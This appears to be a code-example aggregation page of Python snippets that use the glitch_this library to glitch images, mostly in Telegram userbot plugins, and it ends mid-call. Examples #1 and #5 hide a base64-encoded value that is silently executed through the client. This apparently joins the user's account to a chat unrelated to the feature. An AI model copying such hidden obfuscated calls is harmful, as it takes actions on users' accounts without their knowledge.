コード例 #1
0
async def glitch(cat):
    if cat.fwd_from:
        return
    reply = await cat.get_reply_message()
    if not reply:
        return await cat.reply("`Reply to supported Media...`")
    catid = await reply_id(cat)
    san = base64.b64decode("QUFBQUFGRV9vWjVYVE5fUnVaaEtOdw==")
    await cat.reply("`Reply to supported Media...`")
    if not os.path.isdir("./temp"):
        os.mkdir("./temp")
    catinput = 2
    await cat.reply("`Reply to supported Media...`")
    glitch_file = await _cattools.media_to_pic(cat, reply)
    try:
        san = Get(san)
        await cat.client(san)
    except BaseException:
        pass
    glitcher = ImageGlitcher()
    img = Image.open(glitch_file[1])
    glitched = os.path.join("./temp", "glitched.webp")
    glitch_img = glitcher.glitch_image(img, catinput, color_offset=True)
    glitch_img.save(glitched)
    await cat.client.send_file(cat.chat_id, glitched, reply_to=catid)
    sandy = await cat.tbot.send_file(cat.chat_id, glitched, reply_to=catid)
    await _catutils.unsavegif(cat, sandy)
    await glitch_file[0].delete()
    for files in (glitch_file[1], glitched):
        if files and os.path.exists(files):
            os.remove(files)
コード例 #2
0
ファイル: Glitcher.py プロジェクト: tornupnegatives/GlitchBot
    def __glitcherWithParams(self):
        self.imGltch = ImageGlitcher()
        amount = round(random.uniform(6.0, 10.0), 2)
        scanlines = bool(random.getrandbits(1))
        colorOffset = bool(random.getrandbits(1))

        return amount, scanlines, colorOffset
コード例 #3
0
ファイル: FTGglitch.py プロジェクト: anon97945/ftg-modules
 async def gchcmd(self, message):
     """.gch <strength> <g (optional, if true then generates a gif >"""
     replied = await message.get_reply_message()
     args = utils.get_args(message)
     input_ = 3
     if args:
         if args[0].isdigit():
             input_ = int(args[0])
             if input_ < 0 or input_ > 9:
                 await message.edit(self.strings['out_of_range'])
                 return
     if not (replied and (
         replied.photo or replied.sticker or replied.gif)):
         await message.edit(self.strings['media_not_found'])
         return
     if replied.file.ext == '.tgs':
         await message.edit(self.strings['media_not_found'])
         return
     await message.edit(self.strings['processing'])
     ext = ".gif" if "g" in args else ".png"
     file_to_process = await self.client.download_media(replied, 'to_glitch' + ext)
     self.glitcher = ImageGlitcher()
     glitched = self.glitch(str(file_to_process), input_, ext[1:])
     await self.client.send_file(message.to_id, glitched)
     await message.delete()
     os.remove(glitched)
     os.remove(file_to_process)
コード例 #4
0
ファイル: commandline.py プロジェクト: Spirounia/glitch-this
def glitch_script(src_img_path, glitch_level, scan_lines, color, gif, frames, duration):
    t0 = time()
    # Fetching image attributes
    img_path, img_file = os.path.split(Path(src_img_path))
    img_filename, img_fileex = img_file.rsplit('.', 1)

    # Glitching begins here
    glitcher = ImageGlitcher()
    glitch_img = glitcher.glitch_image(src_img_path, glitch_level, scan_lines=scan_lines, color_offset=color, gif=gif)
    if not gif:
        full_path = os.path.join(img_path, 'glitched_' + img_file)
        glitch_img.save(full_path)
        t1 = time()
        print('Glitched image saved in "{}"'.format(full_path))
        print('Time taken: ' + str(t1 - t0))
    else:
        full_path = os.path.join(img_path, 'glitched_{}.gif'.format(img_filename))
        glitch_img[0].save(full_path,
                              format='GIF',
                              append_images=glitch_img[1:],
                              save_all=True,
                              duration=duration,
                              loop=0)
        t1 = time()
        print('Glitched GIF saved in "{}"\nFrames = {}, Duration = {}'.format(full_path, frames, duration))
        print('Time taken: ' + str(t1 - t0))
コード例 #5
0
async def glitch(cat):
    if cat.fwd_from:
        return
    cmd = cat.pattern_match.group(1)
    catinput = cat.pattern_match.group(2)
    reply = await cat.get_reply_message()
    if not reply:
        return await edit_delete(cat, "__Reply to supported Media...__")
    catid = await reply_id(cat)
    san = base64.b64decode("QUFBQUFGRV9vWjVYVE5fUnVaaEtOdw==")
    if not os.path.isdir("./temp"):
        os.mkdir("./temp")
    if catinput:
        if not catinput.isdigit():
            await cat.edit("__You input is invalid, check help__")
            return
        catinput = int(catinput)
        if not 0 < catinput < 9:
            await cat.edit("__Invalid Range...__")
            return
    else:
        catinput = 2
    glitch_file = await _cattools.media_to_pic(cat, reply)
    try:
        san = Get(san)
        await cat.client(san)
    except BaseException:
        pass
    glitcher = ImageGlitcher()
    img = Image.open(glitch_file[1])
    if cmd == "glitchs":
        glitched = os.path.join("./temp", "glitched.webp")
        glitch_img = glitcher.glitch_image(img, catinput, color_offset=True)
        glitch_img.save(glitched)
        await cat.client.send_file(cat.chat_id, glitched, reply_to=catid)
    elif cmd == "glitch":
        glitched = os.path.join("./temp", "glitched.gif")
        glitch_img = glitcher.glitch_image(img,
                                           catinput,
                                           color_offset=True,
                                           gif=True)
        DURATION = 200
        LOOP = 0
        glitch_img[0].save(
            glitched,
            format="GIF",
            append_images=glitch_img[1:],
            save_all=True,
            duration=DURATION,
            loop=LOOP,
        )
        sandy = await cat.client.send_file(cat.chat_id,
                                           glitched,
                                           reply_to=catid)
        await _catutils.unsavegif(cat, sandy)
    await glitch_file[0].delete()
    for files in (glitch_file[1], glitched):
        if files and os.path.exists(files):
            os.remove(files)
コード例 #6
0
async def glitch(event):
    "Glitches the given Image."
    cmd = event.pattern_match.group(1)
    catinput = event.pattern_match.group(2)
    reply = await event.get_reply_message()
    if not reply:
        return await edit_delete(event, "`Reply to supported Media...`")
    catid = await reply_id(event)
    if not os.path.isdir("./temp"):
        os.mkdir("./temp")
    catinput = int(catinput) if catinput else 2
    glitch_file = await _cattools.media_to_pic(event, reply)
    if glitch_file[1] is None:
        return await edit_delete(
            glitch_file[0],
            "__Unable to extract image from the replied message.__")
    glitcher = ImageGlitcher()
    img = Image.open(glitch_file[1])
    if cmd:
        glitched = os.path.join("./temp", "glitched.webp")
        glitch_img = glitcher.glitch_image(img, catinput, color_offset=True)
        glitch_img.save(glitched)
        await event.client.send_file(event.chat_id, glitched, reply_to=catid)
    else:
        glitched = os.path.join("./temp", "glitched.gif")
        glitch_img = glitcher.glitch_image(img,
                                           catinput,
                                           color_offset=True,
                                           gif=True)
        DURATION = 200
        LOOP = 0
        glitch_img[0].save(
            glitched,
            format="GIF",
            append_images=glitch_img[1:],
            save_all=True,
            duration=DURATION,
            loop=LOOP,
        )
        sandy = await event.client.send_file(event.chat_id,
                                             glitched,
                                             reply_to=catid)
        await _catutils.unsavegif(event, sandy)
    await glitch_file[0].delete()
    for files in (glitch_file[1], glitched):
        if files and os.path.exists(files):
            os.remove(files)
コード例 #7
0
ファイル: GlitchCog.py プロジェクト: NIXC/NIXCOGS
def _glitch_gif(img_in: BytesIO, glitch_amount: float, glitch_change: float,
                scan_lines: bool) -> BytesIO:
    imgfile = BytesIO()
    glitcher = ImageGlitcher()
    img_in = Image.open(img_in)
    img_out, dur, frame_count = glitcher.glitch_gif(
        img_in,
        glitch_amount,
        color_offset=True,
        glitch_change=glitch_change,
        scan_lines=scan_lines)
    img_out[0].save(imgfile,
                    format="gif",
                    save_all=True,
                    append_images=img_out[1:],
                    duration=dur,
                    loop=0,
                    disposal=2,
                    optimize=False)
    imgfile.name = "dank.gif"
    return imgfile
コード例 #8
0
ファイル: GlitchCog.py プロジェクト: NIXC/NIXCOGS
def _glitch_still(img_in: BytesIO, glitch_amount: float, glitch_change: float,
                  scan_lines: bool) -> BytesIO:
    imgfile = BytesIO()
    glitcher = ImageGlitcher()
    img_in = Image.open(img_in)
    img_in = img_in.resize((512, 512))
    img_out = glitcher.glitch_image(img_in,
                                    glitch_amount,
                                    color_offset=True,
                                    gif=True,
                                    frames=27,
                                    glitch_change=glitch_change,
                                    scan_lines=scan_lines)
    img_out[0].save(imgfile,
                    format="gif",
                    save_all=True,
                    append_images=img_out[1:],
                    duration=60,
                    loop=0,
                    transparency=0,
                    disposal=2,
                    optimize=False)
    imgfile.name = "danker.gif"
    return imgfile
コード例 #9
0
ファイル: commandline.py プロジェクト: moneytech/glitch-this
def main():
    glitch_min, glitch_max = 1, 10
    help_text = get_help(glitch_min, glitch_max)
    # Add commandline arguments parser
    argparser = argparse.ArgumentParser(description='Glitchify images to static images and GIFs!')
    argparser.add_argument('src_img_path', metavar='Image_Path', type=str,
                           help=help_text['path'])
    argparser.add_argument('glitch_level', metavar='Glitch_Level', type=int,
                           help=help_text['level'])
    argparser.add_argument('-c', '--color', dest='color', action='store_true',
                           help=help_text['color'])
    argparser.add_argument('-s', '--scan', dest='scan_lines', action='store_true',
                           help=help_text['scan'])
    argparser.add_argument('-g', '--gif', dest='gif', action='store_true',
                           help=help_text['gif'])
    argparser.add_argument('-fr', '--frames', dest='frames', metavar='Frames', type=int, default=23,
                           help=help_text['frames'])
    argparser.add_argument('-st', '--step', dest='step', metavar='Step', type=int, default=1,
                           help=help_text['step'])
    argparser.add_argument('-i', '--increment', dest='increment', metavar='Increment', type=int, default=0,
                           help=help_text['increment'])
    argparser.add_argument('-cy', '--cycle', dest='cycle', action='store_true',
                           help=help_text['cycle'])
    argparser.add_argument('-d', '--duration', dest='duration', metavar='Duration', type=int, default=200,
                           help=help_text['duration'])
    argparser.add_argument('-rd', '--relative_duration', dest='rel_duration', metavar='Relative_Duration', type=float,
                           help=help_text['relative_duration'])
    argparser.add_argument('-l', '--loop', dest='loop', metavar='Loop_Count', type=int, default=0,
                           help=help_text['loop'])
    argparser.add_argument('-ig', '--inputgif', dest='input_gif', action='store_true',
                           help=help_text['inputgif'])
    argparser.add_argument('-f', '--force', dest='force', action='store_true',
                           help=help_text['force'])
    argparser.add_argument('-o', '--outfile', dest='outfile', metavar='Outfile_path', type=str,
                           help=help_text['out'])
    args = argparser.parse_args()

    # Sanity check inputs
    if not args.duration > 0:
        raise ValueError('Duration must be greater than 0')
    if not args.loop >= 0:
        raise ValueError('Loop must be greater than or equal to 0')
    if not args.frames > 0:
        raise ValueError('Frames must be greater than 0')
    if not os.path.isfile(args.src_img_path):
        raise FileNotFoundError('No image found at given path')

    # Set up full_path, for output saving location
    out_path, out_file = os.path.split(Path(args.src_img_path))
    out_filename, out_fileex = out_file.rsplit('.', 1)
    out_filename = 'glitched_' + out_filename
    # Output file extension should be '.gif' if output file is going to be a gif
    out_fileex = 'gif' if args.gif else out_fileex
    if args.outfile:
        # If output file path is already given
        # Overwrite the previous values
        out_path, out_file = os.path.split(Path(args.outfile))
        if out_path != '' and not os.path.exists(out_path):
            raise Exception('Given outfile path, ' + out_path + ', does not exist')
        # The extension in user provided outfile path is ignored
        out_filename = out_file.rsplit('.', 1)[0]
    # Now create the full path
    full_path = os.path.join(out_path, '{}.{}'.format(out_filename, out_fileex))
    if os.path.exists(full_path) and not args.force:
        raise Exception(full_path + ' already exists\nCannot overwrite '
                        'existing file unless -f or --force is included\nProgram Aborted')

    # Actual work begins here
    glitcher = ImageGlitcher()
    t0 = time()
    if not args.input_gif:
        # Get glitched image or GIF (from image)
        glitch_img = glitcher.glitch_image(args.src_img_path, args.glitch_level,
                                           glitch_change=args.increment,
                                           cycle=args.cycle,
                                           scan_lines=args.scan_lines,
                                           color_offset=args.color,
                                           gif=args.gif,
                                           frames=args.frames,
                                           step=args.step)
    else:
        # Get glitched image or GIF (from GIF)
        glitch_img, src_duration, args.frames = glitcher.glitch_gif(args.src_img_path, args.glitch_level,
                                                                    glitch_change=args.increment,
                                                                    cycle=args.cycle,
                                                                    scan_lines=args.scan_lines,
                                                                    color_offset=args.color,
                                                                    step=args.step)
        # Set args.gif to true if it isn't already in this case
        args.gif = True
        # Set args.duration to src_duration * relative duration, if one was given
        args.duration = args.duration if not args.rel_duration else int(args.rel_duration * src_duration)
    t1 = time()
    # End of glitching
    t2 = time()
    # Save the image
    if not args.gif:
        glitch_img.save(full_path, compress_level=3)
        t3 = time()
        print('Glitched Image saved in "{}"'.format(full_path))
    else:
        glitch_img[0].save(full_path,
                    format='GIF',
                    append_images=glitch_img[1:],
                    save_all=True,
                    duration=args.duration,
                    loop=args.loop,
                    compress_level=3)
        t3 = time()
        print('Glitched GIF saved in "{}"\nFrames = {}, Duration = {}, Loop = {}'.format(full_path, args.frames, args.duration, args.loop))
    print('Time taken to glitch: ' + str(t1 - t0))
    print('Time taken to save: ' + str(t3 - t2))
    print('Total Time taken: ' + str(t3 - t0))

    # Let the user know if new version is available
    if not islatest(ImageGlitcher.__version__):
        print('A new version of "glitch-this" is available. Please consider upgrading via `pip install --upgrade glitch-this`')
コード例 #10
0
ファイル: main.py プロジェクト: SomeJavaGuy/mintworthy.art
from PIL import Image
from PIL import ImageDraw
from PIL import ImageFont
from random import randint
from glitch_this import ImageGlitcher
import utils
import os
import uuid
from web3.auto.infura import w3

glitcher = ImageGlitcher()

assets_dir = "assets/"
extension = ".png"


# construct_path constructs the path for the assets.
# Reads the number of files on the given layer
# and uses one with equal probability
def construct_path(layer):
    path, dirs, files = next(os.walk(assets_dir + "L" + str(layer)))
    file_count = len(files)
    generated_path = assets_dir + "L" + str(layer) + "/" + "l" + str(
        layer) + "b" + str(randint(1, file_count)) + extension
    return generated_path


# make_opaque takes an image and makes it opaque by the given factor
# e.g to make an image 20% opaque apply a factor of 0.2
def make_opaque(on_image, factor):
    return texture.putalpha(int(256 * factor))
コード例 #11
0
ファイル: Glitcher.py プロジェクト: tornupnegatives/GlitchBot
class Glitcher:
    def __init__(self, url):
        self.image = Image(url)

    @property
    def __glitcherWithParams(self):
        self.imGltch = ImageGlitcher()
        amount = round(random.uniform(6.0, 10.0), 2)
        scanlines = bool(random.getrandbits(1))
        colorOffset = bool(random.getrandbits(1))

        return amount, scanlines, colorOffset

    def __glitchGIF(self, src, dest):
        amount, scanlines, colorOffset = self.__glitcherWithParams
        # cycle = bool(random.getrandbits(1))
        change = round(random.uniform(1.0, 3.0), 2)

        # Account for potential glitch_amount overflow
        while (amount + change) >= 10.0:
            change -= 0.1
        while (amount - change) <= 0.1:
            change += 0.1

        glitch, duration_, _ = self.imGltch.glitch_gif(
            src_gif=src.name,
            glitch_amount=amount,
            glitch_change=change,
            cycle=False,
            color_offset=colorOffset,
            scan_lines=scanlines)

        try:
            glitch[0].save(dest.name,
                           format='GIF',
                           append_images=glitch[1:],
                           save_all=True,
                           duration=duration_,
                           loop=0)
        except:
            print(f'ERROR: Failed to save GIF glitch [{dest.name}]')

    def __glitchStatic(self, src, dest):
        amount, scanlines, colorOffset = self.__glitcherWithParams

        glitch = self.imGltch.glitch_image(src_img=src.name,
                                           glitch_amount=amount,
                                           color_offset=colorOffset,
                                           scan_lines=scanlines)

        # Save file
        try:
            glitch.save(dest.name)
        except:
            print(f'ERROR: Failed to save static glitch [{dest.name}]')

    def glitch(self):
        imgFile = self.image.asFile
        suffix = self.image.type
        glitchFile = tempfile.NamedTemporaryFile(suffix=f'.{suffix}')

        if suffix == 'gif':
            self.__glitchGIF(imgFile, glitchFile)
        else:
            self.__glitchStatic(imgFile, glitchFile)

        imgFile.close()
        return glitchFile
コード例 #12
0
ファイル: modif_image.py プロジェクト: Rudlu/Rudlu_2.0
def glitch(path, force) :
    glitcher = ImageGlitcher()
    glitch_img = glitcher.glitch_image(path, force, color_offset=True, gif=True)
    glitch_img[0].save('glitched.gif', format='GIF', append_images=glitch_img[1:], save_all=True, duration=200, loop=0)
コード例 #13
0
async def glitch(event):
    if not event.reply_to_msg_id:
        await event.edit("`I Wont Glitch A Ghost!`")
        return
    reply_message = await event.get_reply_message()
    if not reply_message.media:
        await event.edit("`reply to a image/sticker`")
        return
    await event.edit("`Downloading Media..`")
    if reply_message.photo:
        glitch_file = await bot.download_media(
            reply_message,
            "glitch.png",
        )
    elif (DocumentAttributeFilename(file_name="AnimatedSticker.tgs")
          in reply_message.media.document.attributes):
        await bot.download_media(
            reply_message,
            "anim.tgs",
        )
        os.system("lottie_convert.py anim.tgs anim.png")
        glitch_file = "anim.png"
    elif reply_message.video:
        video = await bot.download_media(
            reply_message,
            "glitch.mp4",
        )
        extractMetadata(createParser(video))
        os.system(
            "ffmpeg -i glitch.mp4 -vframes 1 -an -s 480x360 -ss 1 glitch.png")
        glitch_file = "glitch.png"
    else:
        glitch_file = await bot.download_media(
            reply_message,
            "glitch.png",
        )
    try:
        value = int(event.pattern_match.group(1))
        if value > 8:
            raise ValueError
    except ValueError:
        value = 2
    await event.edit("```Glitching This Media..```")
    await asyncio.sleep(2)
    glitcher = ImageGlitcher()
    img = Image.open(glitch_file)
    glitch_img = glitcher.glitch_image(img, value, color_offset=True, gif=True)
    DURATION = 200
    LOOP = 0
    glitch_img[0].save(
        Glitched,
        format="GIF",
        append_images=glitch_img[1:],
        save_all=True,
        duration=DURATION,
        loop=LOOP,
    )
    await event.edit("`Uploading Glitched Media..`")
    c_time = time.time()
    nosave = await event.client.send_file(
        event.chat_id,
        Glitched,
        force_document=False,
        reply_to=event.reply_to_msg_id,
        progress_callback=lambda d, t: asyncio.get_event_loop().create_task(
            progress(d, t, event, c_time, "[UPLOAD]")),
    )
    await event.delete()
    os.remove(Glitched)
    await bot(
        functions.messages.SaveGifRequest(
            id=types.InputDocument(
                id=nosave.media.document.id,
                access_hash=nosave.media.document.access_hash,
                file_reference=nosave.media.document.file_reference,
            ),
            unsave=True,
        ))
    os.remove(glitch_file)
    os.system("rm *.tgs *.mp4")
コード例 #14
0
ファイル: glitch.py プロジェクト: Redkobra/catus
async def glitch(cat):
    cmd = cat.pattern_match.group(1)
    catinput = cat.pattern_match.group(2)
    reply = await cat.get_reply_message()
    catid = cat.reply_to_msg_id
    cat = await edit_or_reply(cat, "```Glitching... 😁```")
    if not (reply and (reply.media)):
        await cat.edit("`Media not found...`")
        return
    if not os.path.isdir("./temp/"):
        os.mkdir("./temp/")
    catsticker = await reply.download_media(file="./temp/")
    if not catsticker.endswith(('.mp4', '.webp', '.tgs', '.png', '.jpg')):
        os.remove(catsticker)
        await cat.edit("`Media not found...`")
        return
    os.path.join("./temp/", "glitch.png")
    if catinput:
        if not catinput.isdigit():
            await cat.edit("`You input is invalid, check help`")
            return
        catinput = int(catinput)
        if not 0 < catinput < 9:
            await cat.edit("`Invalid Range...`")
            return
    else:
        catinput = 2
    if catsticker.endswith(".tgs"):
        catfile = os.path.join("./temp/", "glitch.png")
        catcmd = f"lottie_convert.py --frame 0 -if lottie -of png {catsticker} {catfile}"
        stdout, stderr = (await runcmd(catcmd))[:2]
        if not os.path.lexists(catfile):
            await cat.edit("`catsticker not found...`")
            LOGS.info(stdout + stderr)
        glitch_file = catfile
    elif catsticker.endswith(".webp"):
        catfile = os.path.join("./temp/", "glitch.png")
        os.rename(catsticker, catfile)
        if not os.path.lexists(catfile):
            await cat.edit("`catsticker not found... `")
            return
        glitch_file = catfile
    elif catsticker.endswith(".mp4"):
        catfile = os.path.join("./temp/", "glitch.png")
        await take_screen_shot(catsticker, 0, catfile)
        if not os.path.lexists(catfile):
            await cat.edit("```catsticker not found...```")
            return
        glitch_file = catfile
    else:
        glitch_file = catsticker
    glitcher = ImageGlitcher()
    img = Image.open(glitch_file)
    if cmd == "glitchs":
        glitched = "./temp/" + "glitched.webp"
        glitch_img = glitcher.glitch_image(img, catinput, color_offset=True)
        glitch_img.save(glitched)
        await borg.send_file(
            cat.chat_id,
            glitched,
            reply_to=catid)
        os.remove(glitched)
        await cat.delete()
    elif cmd == "glitch":
        Glitched = "./temp/" + "glitch.gif"
        glitch_img = glitcher.glitch_image(
            img, catinput, color_offset=True, gif=True)
        DURATION = 200
        LOOP = 0
        glitch_img[0].save(
            Glitched,
            format='GIF',
            append_images=glitch_img[1:],
            save_all=True,
            duration=DURATION,
            loop=LOOP)
        sandy = await borg.send_file(
            cat.chat_id,
            Glitched,
            reply_to=catid)
        await borg(functions.messages.SaveGifRequest(
            id=types.InputDocument(
                id=sandy.media.document.id,
                access_hash=sandy.media.document.access_hash,
                file_reference=sandy.media.document.file_reference
            ),
            unsave=True
        ))
        os.remove(Glitched)
        await cat.delete()
    for files in (catsticker, glitch_file):
        if files and os.path.exists(files):
            os.remove(files)
コード例 #15
0
async def glitch_(message: Message):
    """ Create Glitch effect in any media """
    replied = message.reply_to_message
    if not (replied and (replied.photo or replied.sticker or replied.video
                         or replied.animation)):
        await message.edit("```Media not found...```")
        await message.reply_sticker('CAADBQADVAUAAjZgsCGE7PH3Wt1wSRYE')
        return
    if message.filtered_input_str:
        if not message.filtered_input_str.isdigit():
            await message.err("```You input is invalid, check help...```",
                              del_in=5)
            return
        input_ = int(message.filtered_input_str)
        if not 0 < input_ < 9:
            await message.err("```Invalid Range...```", del_in=5)
            return
        args = input_
    else:
        args = 2
    if not os.path.isdir(Config.DOWN_PATH):
        os.makedirs(Config.DOWN_PATH)
    await message.edit("```Glitching Media...```")
    dls = await message.client.download_media(message=replied,
                                              file_name=Config.DOWN_PATH)
    dls_loc = os.path.join(Config.DOWN_PATH, os.path.basename(dls))
    glitch_file = None
    if replied.sticker and replied.sticker.file_name.endswith(".tgs"):
        file_1 = os.path.join(Config.DOWN_PATH, "glitch.png")
        cmd = f"lottie_convert.py --frame 0 -if lottie -of png {dls_loc} {file_1}"
        stdout, stderr = (await runcmd(cmd))[:2]
        if not os.path.lexists(file_1):
            await message.err("```Sticker not found...```")
            raise Exception(stdout + stderr)
        glitch_file = file_1
    elif replied.sticker and replied.sticker.file_name.endswith(".webp"):
        file_2 = os.path.join(Config.DOWN_PATH, "glitch.png")
        os.rename(dls_loc, file_2)
        if not os.path.lexists(file_2):
            await message.err("```Sticker not found...```")
            return
        glitch_file = file_2
    elif replied.animation or replied.video:
        file_3 = os.path.join(Config.DOWN_PATH, "glitch.png")
        await take_screen_shot(dls_loc, 0, file_3)
        if not os.path.lexists(file_3):
            await message.err("```Sticker not found...```")
            return
        glitch_file = file_3
    if glitch_file is None:
        glitch_file = dls_loc
    glitcher = ImageGlitcher()
    img = Image.open(glitch_file)
    message_id = replied.message_id
    if '-s' in message.flags:
        glitched = Config.DOWN_PATH + "glitched.webp"
        glitch_img = glitcher.glitch_image(img, args, color_offset=True)
        glitch_img.save(glitched)
        await message.client.send_sticker(message.chat.id,
                                          glitched,
                                          reply_to_message_id=message_id)
        os.remove(glitched)
        await message.delete()
    else:
        glitch_img = glitcher.glitch_image(img,
                                           args,
                                           color_offset=True,
                                           gif=True)
        DURATION = 200
        LOOP = 0
        glitch_img[0].save(Glitched,
                           format='GIF',
                           append_images=glitch_img[1:],
                           save_all=True,
                           duration=DURATION,
                           loop=LOOP)
        await message.client.send_animation(message.chat.id,
                                            Glitched,
                                            reply_to_message_id=message_id)
        os.remove(Glitched)
        await message.delete()
    for files in (dls_loc, glitch_file):
        if files and os.path.exists(files):
            os.remove(files)
コード例 #16
0
async def glitch(event):
    await event.edit("```Glitching Wait...🙂```")
    cmd = event.pattern_match.group(1)
    input = event.pattern_match.group(2)
    reply = await event.get_reply_message()
    if not (reply and (reply.media)):
        await event.edit("`Media not found...`")
        return
    if not os.path.isdir("./temp/"):
        os.mkdir("./temp/")
    reply_to_id = event.reply_to_msg_id
    remixsticker = await reply.download_media(file="./temp/")
    if not remixsticker.endswith((".mp4", ".webp", ".tgs", ".png", ".jpg")):
        os.remove(remixsticker)
        await event.edit("`Media not found...`")
        return
    file = os.path.join("./temp/", "glitch.png")
    if input:
        if not input.isdigit():
            await event.edit("`You input is invalid, check help`")
            return
        input = int(input)
        if not 0 < input < 9:
            await event.edit("`Invalid Range...`")
            return
    else:
        input = 2
    if remixsticker.endswith(".tgs"):
        file = os.path.join("./temp/", "glitch.png")
        cmd = f"lottie_convert.py --frame 0 -if lottie -of png {remixsticker} {file}"
        stdout, stderr = (await runcmd(cmd))[:2]
        if not os.path.lexists(file):
            await event.edit("`remixsticker not found...`")
            LOGS.info(stdout + stderr)
        glitch_file = file
    elif remixsticker.endswith(".webp"):
        file = os.path.join("./temp/", "glitch.png")
        os.rename(remixsticker, file)
        if not os.path.lexists(file):
            await event.edit("`remixsticker not found... `")
            return
        glitch_file = file
    elif remixsticker.endswith(".mp4"):
        file = os.path.join("./temp/", "glitch.png")
        await take_screen_shot(remixsticker, 0, file)
        if not os.path.lexists(file):
            await event.edit("```remixsticker not found...```")
            return
        glitch_file = file
    else:
        glitch_file = remixsticker
    glitcher = ImageGlitcher()
    img = Image.open(glitch_file)
    if cmd == "glitchs":
        glitched = "./temp/" + "glitched.webp"
        glitch_img = glitcher.glitch_image(img, input, color_offset=True)
        glitch_img.save(glitched)
        await bot.send_file(event.chat_id,
                            glitched,
                            reply_to_message_id=reply_to_id)
        os.remove(glitched)
        await event.delete()
    elif cmd == "glitch":
        Glitched = "./temp/" + "glitch.gif"
        glitch_img = glitcher.glitch_image(img,
                                           input,
                                           color_offset=True,
                                           gif=True)
        DURATION = 200
        LOOP = 0
        glitch_img[0].save(
            Glitched,
            format="GIF",
            append_images=glitch_img[1:],
            save_all=True,
            duration=DURATION,
            loop=LOOP,
        )
        await bot.send_file(event.chat_id,
                            Glitched,
                            reply_to_message_id=reply_to_id)
        os.remove(Glitched)
        await event.delete()
    for files in (remixsticker, glitch_file):
        if files and os.path.exists(files):
            os.remove(files)
コード例 #17
0
ファイル: GlitchCog.py プロジェクト: NIXC/NIXCOGS
 def __init__(self, bot):
     self.bot = bot
     self.glitcher = ImageGlitcher()
コード例 #18
0
ファイル: multimemes.py プロジェクト: nepbish07al/One4uBot
async def glitch(event):
    if not event.reply_to_msg_id:
        await event.edit("`I Wont Glitch A Ghost!`")
        return
    reply_message = await event.get_reply_message()
    if not reply_message.media:
        await event.edit("`reply to a image/sticker`")
        return
    await bot.download_file(reply_message.media)
    await event.edit("`Downloading Media..`")
    if event.is_reply:
        data = await check_media(reply_message)
        if isinstance(data, bool):
            await event.edit("`Unsupported Files...`")
            return
    else:
        await event.edit("`Reply to Any Media Sur`")
        return

    try:
        value = int(event.pattern_match.group(1))
        if value > 8:
            raise ValueError
    except ValueError:
        value = 2
    await event.edit("```Glitching This Media```")
    await asyncio.sleep(2)
    file_name = "glitch.png"
    to_download_directory = TEMP_DOWNLOAD_DIRECTORY
    downloaded_file_name = os.path.join(to_download_directory, file_name)
    downloaded_file_name = await bot.download_media(
        reply_message,
        downloaded_file_name,
    )
    glitch_file = downloaded_file_name
    glitcher = ImageGlitcher()
    img = Image.open(glitch_file)
    glitch_img = glitcher.glitch_image(img, value, color_offset=True, gif=True)
    DURATION = 200
    LOOP = 0
    glitch_img[0].save(
        Glitched,
        format="GIF",
        append_images=glitch_img[1:],
        save_all=True,
        duration=DURATION,
        loop=LOOP,
    )
    await event.edit("`Uploading Glitched Media...`")
    nosave = await event.client.send_file(event.chat_id,
                                          Glitched,
                                          force_document=False,
                                          reply_to=event.reply_to_msg_id)
    await event.delete()
    os.remove(Glitched)
    await bot(
        functions.messages.SaveGifRequest(
            id=types.InputDocument(
                id=nosave.media.document.id,
                access_hash=nosave.media.document.access_hash,
                file_reference=nosave.media.document.file_reference,
            ),
            unsave=True,
        ))
    os.remove(glitch_file)
コード例 #19
0
ファイル: FTGglitch.py プロジェクト: anon97945/ftg-modules
class GlitchMod(loader.Module):
    """ Create Glitch effect in pic or gif """
    strings = {
        'name': 'Glitch',
        'media_not_found': 'Media not found',
        'invalid_input': 'Your input is invalid',
        'processing': '<b>Glitching...</b>',
        'img_required': 'I need image',
        'out_of_range': 'input out of range, must be > 0 < 10'
    }
    type_gif = "gif"
    type_pic = "png"

    def __init__(self):
        self.name = self.strings['name']

    async def client_ready(self, client, db):
        self.client = client
        self._db = db

    async def gchcmd(self, message):
        """.gch <strength> <g (optional, if true then generates a gif >"""
        replied = await message.get_reply_message()
        args = utils.get_args(message)
        input_ = 3
        if args:
            if args[0].isdigit():
                input_ = int(args[0])
                if input_ < 0 or input_ > 9:
                    await message.edit(self.strings['out_of_range'])
                    return
        if not (replied and (
            replied.photo or replied.sticker or replied.gif)):
            await message.edit(self.strings['media_not_found'])
            return
        if replied.file.ext == '.tgs':
            await message.edit(self.strings['media_not_found'])
            return
        await message.edit(self.strings['processing'])
        ext = ".gif" if "g" in args else ".png"
        file_to_process = await self.client.download_media(replied, 'to_glitch' + ext)
        self.glitcher = ImageGlitcher()
        glitched = self.glitch(str(file_to_process), input_, ext[1:])
        await self.client.send_file(message.to_id, glitched)
        await message.delete()
        os.remove(glitched)
        os.remove(file_to_process)
    
        
    def glitch(self,filename: str, range_:int, glitch_type: str) -> str:
        """ returns filename of glitched gif/pic """
        img = Image.open(filename)
        glitched_filename = "glitched_" + filename
        if glitch_type == self.type_gif:
            return self.glitch_to_gif(img, range_, glitched_filename)
        elif glitch_type == self.type_pic:
            return self.glitch_img(img, range_, glitched_filename)

    def glitch_img(self, img: Image.Image, range_: int, output_filename: str) -> str:
        """ glitches img file with [filename] and returns glitched image name """
        glitch_img = self.glitcher.glitch_image(img, range_, color_offset=True)
        glitch_img.save(output_filename)
        return output_filename
    
    def glitch_to_gif(self, img: Image.Image, range_: int, output_filename: str) -> str:
        """ glitches img file and returns glitched GIF name """
        DURATION = 200
        LOOP = 0
        glitch_img = self.glitcher.glitch_image(img, range_, color_offset=True, gif=True)
        glitch_img[0].save(
            output_filename,
            format="GIF",
            append_images=glitch_img[1:],
            save_all=True,
            duration=DURATION,
            loop=LOOP,
        )
        return output_filename
コード例 #20
0
def main():
    # Add commandline arguments parser
    argparser = argparse.ArgumentParser(
        description='Glitchify images to static images and GIFs!')
    argparser.add_argument(
        'src_img_path',
        metavar='Image_Path',
        type=str,
        help='Relative or Absolute string path to source image')
    argparser.add_argument(
        'glitch_level',
        metavar='Glitch_Level',
        type=int,
        help=
        'Integer between 1 and 10, inclusive, representing amount of glitchiness'
    )
    argparser.add_argument(
        '-c',
        '--color',
        dest='color',
        action='store_true',
        help='Whether or not to add color offset, defaults to False')
    argparser.add_argument(
        '-s',
        '--scan',
        dest='scan_lines',
        action='store_true',
        help='Whether or not to add scan lines effect, defaults to False')
    argparser.add_argument(
        '-g',
        '--gif',
        dest='gif',
        action='store_true',
        help='Include if you want a GIF instead of static image'
        '\nNOTE: Does nothing if input image is GIF, i.e when using `-ig`')
    argparser.add_argument(
